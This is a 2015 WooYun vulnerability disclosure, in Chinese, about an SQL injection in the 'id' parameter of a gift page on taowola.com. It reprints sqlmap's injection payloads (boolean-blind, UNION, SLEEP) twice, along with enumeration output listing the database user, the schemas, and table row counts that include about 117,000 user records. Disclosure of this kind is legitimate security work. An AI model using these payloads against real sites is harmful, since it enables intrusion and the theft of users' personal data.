当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0158917

漏洞标题:淘我啦某处存在SQL注入(11W用户信息泄露)

相关厂商:淘我啦

漏洞作者: k0_pwn

提交时间:2015-12-07 22:16

修复时间:2016-01-21 18:22

公开时间:2016-01-21 18:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-07: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-01-21: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

RT

详细说明:

http://www.taowola.com/gift.php?type=info&id=200


id参数存在注入

sqlmap identified the following injection points with a total of 50 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type=info&id=200 AND 4843=4843
Type: UNION query
Title: MySQL UNION query (NULL) - 12 columns
Payload: type=info&id=-6615 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a7571693a,0x5168744a575678484448,0x3a7476793a),NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: type=info&id=200 AND SLEEP(5)
---
web application technology: PHP 5.4.23, Nginx
back-end DBMS: MySQL 5.0.11


查看一下当前数据库和用户

web application technology: PHP 5.4.23, Nginx
back-end DBMS: MySQL 5.0.11
current user: '10.47.36.39:12945'
current database: 'taowola'
current user is DBA: False


列数据库

web application technology: PHP 5.4.23, Nginx
back-end DBMS: MySQL 5.0.11
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] taowola


66个表,不全列出来了

web application technology: PHP 5.4.23, Nginx
back-end DBMS: MySQL 5.0.11
Database: taowola
[66 tables]


直接看一下数据量

web application technology: PHP 5.4.23, Nginx
back-end DBMS: MySQL 5.0.11
Database: taowola
+---------------------------+---------+
| Table | Entries |
+---------------------------+---------+
| wp_jifen_log | 180981 |
| wp_user | 116896 |
| logs | 56728 |
| wp_items | 47381 |

漏洞证明:

http://www.taowola.com/gift.php?type=info&id=200


id参数存在注入

sqlmap identified the following injection points with a total of 50 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type=info&id=200 AND 4843=4843
Type: UNION query
Title: MySQL UNION query (NULL) - 12 columns
Payload: type=info&id=-6615 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a7571693a,0x5168744a575678484448,0x3a7476793a),NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: type=info&id=200 AND SLEEP(5)
---
web application technology: PHP 5.4.23, Nginx
back-end DBMS: MySQL 5.0.11


查看一下当前数据库和用户

web application technology: PHP 5.4.23, Nginx
back-end DBMS: MySQL 5.0.11
current user: '10.47.36.39:12945'
current database: 'taowola'
current user is DBA: False


列数据库

web application technology: PHP 5.4.23, Nginx
back-end DBMS: MySQL 5.0.11
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] taowola


66个表,不全列出来了

web application technology: PHP 5.4.23, Nginx
back-end DBMS: MySQL 5.0.11
Database: taowola
[66 tables]


直接看一下数据量

web application technology: PHP 5.4.23, Nginx
back-end DBMS: MySQL 5.0.11
Database: taowola
+---------------------------+---------+
| Table | Entries |
+---------------------------+---------+
| wp_jifen_log | 180981 |
| wp_user | 116896 |
| logs | 56728 |
| wp_items | 47381 |

修复方案:

参数过滤

版权声明:转载请注明来源 k0_pwn@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝